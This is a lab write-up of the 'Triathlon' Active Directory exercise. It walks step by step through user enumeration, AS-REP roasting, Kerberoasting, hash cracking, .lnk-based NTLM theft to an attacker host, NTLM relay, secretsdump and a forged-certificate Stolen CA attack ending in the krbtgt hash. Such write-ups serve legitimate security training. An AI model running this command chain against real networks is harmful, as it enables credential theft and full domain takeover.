> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/triathlon.md).

# Triathlon

{% embed url="<https://www.hacksmarter.org/courses/13a55ed5-7562-4ca4-a025-4b2b49009d3c>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

An elite triathlon team from the United States has requested a penetration test on their internal network. They have granted access to their network via VPN, but no other information has been provided. Successful testers should prove full compromise by providing the NTLM hash for the "krbtgt" account.

## Summary

<details>

<summary>Summary</summary>

In Triathlon we assess a Active Directory network consisting of three Windows servers: `SWIM-SRV` (Certificate Authority), `BIKE-SRV`, and `RUN-SRV` (Domain Controller). Initial enumeration reveals limited SMB access and disabled SMB signing, guiding us toward authentication-based attacks. Using targeted Kerbrute enumeration with real athlete-inspired usernames, we identify valid domain accounts and perform ASREPRoasting and Kerberoasting, leading to `j.reed`'s TGS hash which we were able to crack to gain our first domain foothold. Enumerating accessible shares, we exploit a writable SMB share on `SWIM-SRV` for NTLM theft, relaying captured credentials to `BIKE-SRV` to obtain local administrator privileges. From there, we extract cached domain credentials and compromise `m.pearson`, an administrator on the Certificate Authority. Leveraging full control over the CA, we perform a Stolen CA attack. Backing up the CA's private key, forging a trusted certificate for `j.reed_adm`, and authenticating as that administrative account. With elevated access, we execute secretsdump on the Domain Controller, retrieving the NTLM hash for krbtgt.

</details>

## Recon

In our initial reconnaissance phase, we perform a port scan on every available machine and manually probe the services available.

### SWIM-SRV

We use rustscan `-b 500 -a SWIM-SRV -- -sC -sV -Pn` to enumerate all TCP ports on the `SWIM-SRV` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a SWIM-SRV -- -sC -sV -Pn
```

<figure><img src="/files/MlAYKA3ghrMqNZjgKRxS" alt=""><figcaption></figcaption></figure>

On the `SWIM-SRV` machine we only have SMB, RDP and some RPC ports available. From this initial scan we can determine the acutal machine name and domain.

```
SWIM-SRV.tri.lab
```

<figure><img src="/files/bXbBWgmnpDe8IR3shgpJ" alt=""><figcaption></figcaption></figure>

#### SMB

We try to log in to the SMB service as a guest and anonymously, but without success. Nevertheless we are able to spot the running Windows version and that SMB signing is disabled.

```
nxc smb SWIM-SRV -u guest -p ''
```

```
nxc smb SWIM-SRV -u '' -p ''
```

<figure><img src="/files/nDvBSO1cXFHtMX70SoP2" alt=""><figcaption></figcaption></figure>

### BIKE-SRV

We use rustscan `-b 500 -a BIKE-SRV -- -sC -sV -Pn` to enumerate all TCP ports on the `BIKE-SRV` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a BIKE-SRV -- -sC -sV -Pn
```

<figure><img src="/files/1wlGmFzam7MLdBDa6liu" alt=""><figcaption></figcaption></figure>

Unlike `SWIM-SRV`, `BIKE-SRV` also has a web server available on port `80` in addition to SMB, RDP, and the RPC ports. From this initial scan we can determine the acutal machine name and domain.

```
BIKE-SRV.tri.lab
```

<figure><img src="/files/64yswBD6ApInHrtM6zXu" alt=""><figcaption></figcaption></figure>

#### WEB

The web page is a simple IIS server with a normal landing page, but it has a JavaScript alert embedded in it that displays `Goose_luvs_crocs`.

<figure><img src="/files/3NNIT2nM1ONcU1RPJHRE" alt=""><figcaption></figcaption></figure>

#### SMB

We also try to log in to the SMB service as a guest and anonymously, but without success - again. Nevertheless we are able to spot the running Windows version and that SMB signing is disabled.

```
nxc smb BIKE-SRV -u guest -p ''
```

```
nxc smb BIKE-SRV -u '' -p ''
```

<figure><img src="/files/wczXJMvptJNNVvWU0fq1" alt=""><figcaption></figcaption></figure>

### RUN-SRV

We use rustscan `-b 500 -a RUN-SRV -- -sC -sV -Pn` to enumerate all TCP ports on the `RUN-SRV` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a RUN-SRV -- -sC -sV -Pn
```

<figure><img src="/files/g1B3R4s1NMheVFcTKzEo" alt=""><figcaption></figcaption></figure>

The RUN-SRV appears to be the domain controller with exposed services include DNS `53`, Kerberos `88/464`, multiple MSRPC endpoints `135, 593, 49664+`, SMB `139/445`, LDAP and LDAPS `389/636/3268/3269` tied to Active Directory, RDP `3389`, and .NET Remoting `9389`. This indicates a fully integrated Windows AD environment where LDAP/LDAPS and Kerberos provide authentication, SMB and RPC enable remote management, and RDP/WinRM serve as remote access points.

<figure><img src="/files/0adMPaRMvY6WpiUUhA10" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/yEMLCPfmJRSnAx8yLWYm" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7TuzyUg1J5z16rLdBHSv" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dnLVqIKbDcFh0ThEHnEk" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kQEpBOk92Ac0jyVa6zz1" alt=""><figcaption></figcaption></figure>

Besides the actual machine name and domain we are also able to identify the Certificate Authority name:

```
RUN-SRV.tri.lab
```

```
tri-CA
```

## User Enumeration via Kerbrute on RUN-SRV

Since we are obviously operating in an Active Directory context and were unable to identify any services with vulnerabilities in our initial enumeration that could be used to enumerate potential users, harvest credentials, or gain a foothold, we now need to enumerate the users.&#x20;

The Orange Cyberdefense mind map can provide guidance on what you can do. It takes you by the hand depending on whether you already have a username, credentials, or nothing at at all, etc.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="/files/jkH5x00IQcP2kEXLaNQG" alt=""><figcaption></figcaption></figure>

We can use kerbrute to enumerate users. Kerbrute works by sending Kerberos authentication requests to the domain controller and identifying valid usernames based on differences in the responses.

{% embed url="<https://github.com/ropnop/kerbrute>" %}

Unfortunately, we cannot identify users from the user lists in Seclists. From the scenario, we know that the USA Elite Triathlon Team has commissioned us. After a little research, we can identify the team and create a user list with possible usernames.

{% embed url="<https://www.usatriathlon.org/articles/news/usa-triathlon-announces-2025-u-s-elite-triathlon-national-team>" %}

{% code expandable="true" %}

```
gwen.jorgensen
g.jorgensen
gjorgensen
kirsten.kasper
k.kasper
kkasper
taylor.knibb
t.knibb
tknibb
summer.rappaport
s.rappaport
srappaport
gina.sereno
g.sereno
gsereno
taylor.spivey
t.spivey
tspivey
morgan.pearson
m.pearson
mpearson
john.reed
j.reed
jreed
seth.rider
s.rider
srider
```

{% endcode %}

We run kerbrute...&#x20;

```
kerbrute userenum -d tri.lab --dc RUN-SRV users.txt
```

<figure><img src="/files/QQNNWTm8A82vRiXwuOt4" alt=""><figcaption></figcaption></figure>

... and are able to identify three valid usernames. We save them to a file called `valid_users.txt`.

{% code title="valid\_users.txt" %}

```
m.pearson@tri.lab
j.reed@tri.lab
t.spivey@tri.lab
```

{% endcode %}

## AS-REP Roasting

Now that we have some usernames, we can try AS-REP Roasting by requesting a Kerberos AS-REP response for accounts that do not require pre-authentication, allowing us to capture the encrypted response and crack it offline to recover the user's password.

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/asreproast>" %}

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="/files/9zlSCh7gJbo4h79j83OD" alt=""><figcaption></figcaption></figure>

We use NetExec for AS-REP Roasting and are able to extract the blob from `t.spivey`.

```
nxc ldap RUN-SRV -u valid_users.txt -p '' --asreproast output.txt
```

<figure><img src="/files/JICCnm5vbWOy5IGCcLi3" alt=""><figcaption></figcaption></figure>

We aren't able to crack it either using `rockyou.txt` or by crafting our own wordlist using cupp.

{% embed url="<https://github.com/Mebus/cupp>" %}

<figure><img src="/files/6UXPYnH6sXIEeX1pSsx6" alt=""><figcaption></figcaption></figure>

```
hashcat -m 18200 output.txt /usr/share/wordlists/rockyou.txt 
```

```
hashcat -m 18200 output.txt taylor.txt
```

<figure><img src="/files/UpgxYFS5pxFCg6oxPpSR" alt=""><figcaption></figcaption></figure>

## Blind Kerberoasting

Since the AS-REP blob can't be cracked, we move to blind Kerberoasting, where we request service tickets (TGS) for SPNs without knowing service account credentials and identify valid service accounts by the presence of Kerberos responses. Any authenticated domain user can request Kerberos service tickets for SPNs.&#x20;

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/kerberoast>" %}

If we are able to capture TGS blobs we can try to crack them offline to recover service accounts passwords.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="/files/Mwgx1rP12Hf5FhQzi44W" alt=""><figcaption></figcaption></figure>

We try to perform a blind kerberoast for each user as `t.spivey` and are successful. We are able to retrieve the Kerberos 5, etype 23, TGS-REP blob of `j.reed`.

```
GetUserSPNs.py -no-preauth t.spivey -usersfile valid_users.txt -dc-host 10.0.30.244 tri.lab/
```

<figure><img src="/files/mjJ178Tez2DTL15BBH82" alt=""><figcaption></figcaption></figure>

## Access as j.reed

We try to crack it using `rockyou.txt`, again without success.

```
j.reed@tri.lab
```

```
hashcat -m 13100 j.reed.krb5tgs /usr/share/wordlists/rockyou.txt
```

<figure><img src="/files/0jQWBM5fByPPdPoXWFoQ" alt=""><figcaption></figcaption></figure>

Next, we try to craft our own wordlist with the information publicly available. We use the following resource:

{% embed url="<https://www.usatriathlon.org/profiles/john-reed>" %}

To craft the wordlist we use cupp again.&#x20;

```
cupp -i
```

<figure><img src="/files/biAmhq9DAHHFruHxnKPC" alt=""><figcaption></figcaption></figure>

And again we are unsuccessful.&#x20;

```
hashcat -m 13100 j.reed.krb5tgs john.txt 
```

<figure><img src="/files/YjEmSO78yz1HXI8YTyjY" alt=""><figcaption></figcaption></figure>

As a last resort we try to apply the `/usr/share/hashcat/rules/best64.rule`. And we are able to crack it.

```
hashcat -m 13100 j.reed.krb5tgs john.txt --rules /usr/share/hashcat/rules/best64.rule 
```

<figure><img src="/files/2Madrpujb92BMuCuh0Pn" alt=""><figcaption></figcaption></figure>

Considering the rule, we would also be able to use `rockyou.txt` to crack the blob with the best64 rule.

{% code overflow="wrap" %}

```
hashcat -m 13100 j.reed.krb5tgs /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

{% endcode %}

<figure><img src="/files/VpDeFMuxzg58EX3FkNpv" alt=""><figcaption></figcaption></figure>

We are able to authenticate against SMB on the domain controller with the credentials gathered.

```
nxc smb RUN-SRV -u 'j.reed' -p 'REDACTED' --shares
```

<figure><img src="/files/TFBoIc4fanjkk5mzE4nu" alt=""><figcaption></figcaption></figure>

With a brute force attack, we could now continue to enumerate users.

```
 nxc smb RUN-SRV -u 'j.reed' -p 'REDACTED' --rid
```

<figure><img src="/files/0rGdZ0q5YYIlKWRNsKLM" alt=""><figcaption></figcaption></figure>

{% code title="Domain Users" %}

```
Administrator
Guest
krbtgt
t.spivey
j.reed
e.ackerlund
m.pearson
j.reed_adm
```

{% endcode %}

Furthermore, we can now also create an appropriate `/etc/hosts` entry using NetExec.

```
nxc smb RUN-SRV -u 'j.reed' -p 'REDACTED' --generate-hosts-file hosts
```

<figure><img src="/files/4kdcuwYjO2JK6Fbwy5aA" alt=""><figcaption></figcaption></figure>

```
10.0.30.244     RUN-SRV.tri.lab tri.lab RUN-SRV
```

## BloodHound Enumeration

With the credentials, we can now also enumerate the AD using BloodHound.

{% code overflow="wrap" %}

```
bloodhound-ce.py --zip -c All -d tri.lab -u 'j.reed' -p 'REDACTED' -dc RUN-SRV.tri.lab -ns 10.0.30.244
```

{% endcode %}

<figure><img src="/files/oXGIefnc1zJd43PmbNBn" alt=""><figcaption></figcaption></figure>

Unfortunately, our user does not have any special permissions that can be exploited and is not assigned to a privileged group.

<figure><img src="/files/kYUUE5gZQQg7e0xwwFvI" alt=""><figcaption></figcaption></figure>

As domain administrators, we identify the user `j.reed_adm`.

<figure><img src="/files/sFokgKa4se1pMm2MQ27H" alt=""><figcaption></figcaption></figure>

## Certipy Enumeration

Since we didn't find anything using BloodHound, we'll try Certipy and search for possible misconfigured certificates...

```
certipy find -u j.reed -p 'REDACTED' -dc-ip 10.0.30.244 -vulnerable
```

<figure><img src="/files/gOmhrHObOtJ9g7CAmzxO" alt=""><figcaption></figcaption></figure>

... but we can't find anything here either. But we see that the CA is the `SWIM-SERV` machine.

<figure><img src="/files/pUPHhoWHbSfWb5vKe2fd" alt=""><figcaption></figcaption></figure>

## NTLM Theft

When listing the individual shares on the servers, we see that we have read and write permissions for the `TransitionZone$` share on `SWIM-SRV`.

```
nxc smb SWIM-SRV -u 'j.reed' -p 'REDACTED' --shares
```

<figure><img src="/files/H1K2gOmtrUgeSXNwW0FG" alt=""><figcaption></figcaption></figure>

We connect to the share, but we don't see anything on it.

```
smbclient.py j.reed@SWIM-SRV
```

<figure><img src="/files/I6ZLgfaIudopJK9CVBel" alt=""><figcaption></figcaption></figure>

But it enables us an NTLM theft attack through coercing. This is a technique where  Windows is forced to authenticate to them using NTLM, allowing us to capture or relay the victim's NTLM credentials.

We can coerce for example via a `.lnk` file by placing a malicious shortcut in a writable share. When a user or service browses the folder, the `.lnk` file references a remote UNC path (e.g. `\\attacker\share`), causing Windows to automatically attempt NTLM authentication to that remote host—leaking the NTLM hash without any user interaction.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="/files/pRoCHrvFcqVT5BUVL14b" alt=""><figcaption></figcaption></figure>

We prepare a link file pointing to our server with `ntlm_thef.py`.

{% embed url="<https://github.com/Greenwolf/ntlm_theft>" %}

```
ntlm_theft.py --generate modern --server 10.200.27.253  --filename "bob"
```

<figure><img src="/files/U30ZqnN4BejdkaT8caAS" alt=""><figcaption></figcaption></figure>

We start responder...

```
responder -I tun0
```

<figure><img src="/files/zzeBcdnPrEGhvoASHD6b" alt=""><figcaption></figcaption></figure>

... and place our .lnk file into the share.

```
put bob.lnk
```

<figure><img src="/files/5OLlpcP9AVwWJRd7B2Jf" alt=""><figcaption></figcaption></figure>

After a short duration we are able to get the NetNTLMv2 hash of `e.ackerlund`. But we can't crack that hash either.

<figure><img src="/files/HVnwzRCbI3rNJzOqeeHq" alt=""><figcaption></figcaption></figure>

## Access as local Administrator on BIKE-SRV via NTLM Relay&#x20;

What we can do instead is relaying it to anther SMB service where SMB signing is not enabled.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="/files/1456ORZWiII6PhqaSD2u" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.thehacker.recipes/ad/movement/ntlm/relay>" %}

Recalling the output of the SMB connection attempts to the servers we know that `BIKE-SRV` and `SWIM-SRV` have SMB signing switched off, which would allow relaying. So since we can't relay back to `SWIM-SRV` we try to relay the authentication over SMB to the `BIKE-SRV` and try to dump the SAM & LSA secrets, if the user `e.ackerlund` has the privileges to do so.

> The following command will try to relay the authentication over SMB and attempt a remote [dump of the SAM & LSA secrets](https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets) from the target if the relayed victim has the right privileges.

```
ntlmrelayx.py -t smb://$TARGET
```

{% hint style="info" %}
Close responder, if it is still running.
{% endhint %}

We run the command like depicted in hackers recipes...

```
ntlmrelayx.py -t smb://BIKE-SRV
```

<figure><img src="/files/LOijRfrOQ3JMF8CBuwiZ" alt=""><figcaption></figcaption></figure>

... but it fails, the target has SMBv1 maybe disabled.

<figure><img src="/files/9V093aNeEcAQbyrIsg5k" alt=""><figcaption></figcaption></figure>

We rerun `ntlmrelayx.py` now with `smb2support`.

```
ntlmrelayx.py -t smb://BIKE-SRV -smb2support
```

<figure><img src="/files/yv0ISmU48AV56rohdk1x" alt=""><figcaption></figcaption></figure>

After some time we are able to retrieve the local administrator hash on `BIKE-SRV`.

<figure><img src="/files/DFax8pxIiyx7nkRI4JMs" alt=""><figcaption></figcaption></figure>

With that we are able to authenticate against the server.&#x20;

```
nxc smb BIKE-SRV -u Administrator -H 'REDACTED' --local-auth
```

<figure><img src="/files/S1FuJK7tSztDTlXDk5Mm" alt=""><figcaption></figcaption></figure>

## Access as m.pearson

As a local administrator, we can extract the hashes from SAM and LSA.

{% embed url="<https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets#secrets-dump>" %}

For this we are using secretsdump.py. We are able to retrieve the DCC2 hash of `m.pearson`.

```
secretsdump.py -hashes ':REDACTED' Administrator@BIKE-SRV
```

<figure><img src="/files/A4Ib1vATDTSWiFVcabXI" alt=""><figcaption></figcaption></figure>

And this time, we are able to crack the Domain Cached Credentials 2 (DCC2), MS Cache 2 using `rockyou.txt`.

```
hashcat -m 2100 m.pearson.hash /usr/share/wordlists/rockyou.txt 
```

<figure><img src="/files/t7ZJVuBSjOpwsZkexasD" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Test every gathered credential on each target, I did not initially pursue this methodological approach here and overlooked the following:
{% endhint %}

Next we test connection on each server. We are Administrator on `SWIM-SRV`.

{% code title="targets.txt" %}

```
RUN-SRV
BIKE-SRV
SWIM-SRV
```

{% endcode %}

```
nxc smb targets.txt -u m.pearson -p 'REDACTED'
```

<figure><img src="/files/tP8OmJjK4h6qCTZf2oVo" alt=""><figcaption></figcaption></figure>

## Certipy Enumeration II

Now that we have administrator permissions as `m.pearson` on the CA, we run another scan using certipy, but again find no misconfigured templates.

```
certipy find -u m.pearson -p 'REDACTED' -dc-ip 10.0.30.244 -vulnerable
```

<figure><img src="/files/7aH1IBJ5B7vCAcjgTppi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/wvFVqhggKl8Q2w5KueNp" alt=""><figcaption></figcaption></figure>

## Stolen CA Attack

After some research we come across the Stolen CA Attack.

{% embed url="<https://www.thehacker.recipes/ad/persistence/adcs/certificate-authority#stolen-ca>" %}

The following quote from `thehacker.recipes` succinctly describes what is possible with it.

> > The Enterprise CA has a certificate and associated private key that exist on the CA server itself. ([Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf))
>
> If an attacker obtains control over a CA server, he may be able to retrieve the private key associated with the CA cert, and use that private key to generate and sign client certificates. This means he could forge (and sign) certificate to authenticate as a powerful user for example.

> Extracting the DPAPI-protected CA cert private key can be done remotely from UNIX-like systems with [Certipy](https://github.com/ly4k/Certipy) (Python).
>
> {% code overflow="wrap" %}
>
> ```
> certipy ca -backup -ca "CA" -username "USER@domain.local" -password "PASSWORD" -dc-ip "DC-IP"
> ```
>
> {% endcode %}
>
> Then, forging (and signing) a certificate can be done as follows.
>
> {% code overflow="wrap" %}
>
> ```
> certipy forge -ca-pfx "CA.pfx" -upn "administrator@corp.local" -subject "CN=Administrator,CN=Users,DC=CORP,DC=LOCAL"
> ```
>
> {% endcode %}
>
> The certificate can then be used with [Pass the Certificate](https://www.thehacker.recipes/ad/movement/kerberos/pass-the-certificate).

With the administrator permissions on the CA we can now forge a ticket for a powerful user like a Domain Administrator. We recall the initial BloodHound enumeration and choose `j.reed_adm` as our target.

<figure><img src="/files/UzcaoPHC3Zbwamgnsk9Q" alt=""><figcaption></figcaption></figure>

We extract the DPAPI-protected CA cert private key like depicted in our resource, but we fail.

{% code overflow="wrap" %}

```
certipy ca -backup -ca "tri-CA" -username "m.pearson@tri.lab" -password "REDACTED" -dc-ip "10.0.30.244"
```

{% endcode %}

<figure><img src="/files/qBlSNMDJqriNSB2T2UZt" alt=""><figcaption></figcaption></figure>

Since the domain controller is not the same as the CA, we must define the CA as the target. We are able to extract the CA cert.

{% code overflow="wrap" %}

```
certipy ca -backup -ca "tri-CA" -username "m.pearson@tri.lab" -password "REDACTED" -dc-ip "10.0.30.244" -target SWIM-SRV
```

{% endcode %}

<figure><img src="/files/NsncX2sPe60n15cn5VRm" alt=""><figcaption></figcaption></figure>

With the CA cert we try to forge a cert for the user `j.reed_adm` by the distinguished name.

{% code overflow="wrap" %}

```
certipy forge -ca-pfx "tri-CA.pfx" -upn "j.reed_adm@tri.lab" -subject "CN=J.REED_ADM,CN=Users,DC=TRI,DC=LAB"
```

{% endcode %}

<figure><img src="/files/BUTzphiXOtSqM1sX7mF9" alt=""><figcaption></figcaption></figure>

Next, we pass the certificate, but it fails.

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/pass-the-certificate#practice>" %}

{% code overflow="wrap" %}

```
certipy auth -pfx "j.reed_adm_forged.pfx" -dc-ip 10.0.30.244 -username j.reed_adm -domain tri.lab
```

{% endcode %}

<figure><img src="/files/zhxMBe9ZQjIqPZNVnR84" alt=""><figcaption></figcaption></figure>

Next we try to forge the certificate for `j.reed_adm` with  the SID instead. We can find it using our BloodHound data.

<figure><img src="/files/Gs9wi38qgIHjQvkcmjwS" alt=""><figcaption></figcaption></figure>

```
S-1-5-21-542797205-3952052766-1175187200-1109
```

{% code overflow="wrap" %}

```
certipy forge -ca-pfx tri-CA.pfx -upn j.reed_adm@tri.lab -sid S-1-5-21-542797205-3952052766-1175187200-1109
```

{% endcode %}

<figure><img src="/files/gLjiDmUHubO8CcH5swxk" alt=""><figcaption></figcaption></figure>

But it also fails again. The client is not trusted...

{% hint style="info" %}
This is not an error regarding the identification of the object, but rather due to the failure of the PKINIT trust check.
{% endhint %}

{% code overflow="wrap" %}

```
certipy auth -pfx "j.reed_adm_forged.pfx" -dc-ip 10.0.30.244 -username j.reed_adm -domain tri.lab
```

{% endcode %}

<figure><img src="/files/syz3n0TFCwgGr1G53eZL" alt=""><figcaption></figcaption></figure>

If we pass the following to our forge command `-crl ldap:///` we are able to retrieve the hash of `j.reed_adm`. Kerberos is rejecting the last cert because it can't validate revocation status, so it treats the client as untrusted. When we add `-crl ldap:///`, we are giving the certificate a CRL distribution point that the DC accepts without trying to fetch an HTTP CRL. That seems enough to satisfy PKINITs trust checks.

{% code overflow="wrap" %}

```
certipy forge -ca-pfx tri-CA.pfx -upn j.reed_adm@tri.lab -sid S-1-5-21-542797205-3952052766-1175187200-1109 -crl ldap:///
```

{% endcode %}

{% code overflow="wrap" %}

```
certipy auth -pfx "j.reed_adm_forged.pfx" -dc-ip 10.0.30.244 -username j.reed_adm -domain tri.lab 
```

{% endcode %}

<figure><img src="/files/KaVx1vlJK5IiMlJgowIZ" alt=""><figcaption></figcaption></figure>

With the gathered hash we are able to dump the SAM & LSA secrets on the domain controller including the krbtgt hash.

<figure><img src="/files/1HyEwki8pYeEnk7fnX5n" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
The initial attempt would also have worked with the fix:

{% code overflow="wrap" %}

```
certipy forge -ca-pfx "tri-CA.pfx" -upn "j.reed_adm@tri.lab" -subject "CN=J.REED_ADM,CN=Users,DC=TRI,DC=LAB" -crl ldap:///
```

{% endcode %}

![](/files/zBwgxSXHvjut2pfhJIq6)
{% endhint %}

```
secretsdump.py -hashes ':REDACTED' j.reed_adm@RUN-SRV
```

<figure><img src="/files/I3BbDs5syBLanZKWbwB2" alt=""><figcaption></figcaption></figure>
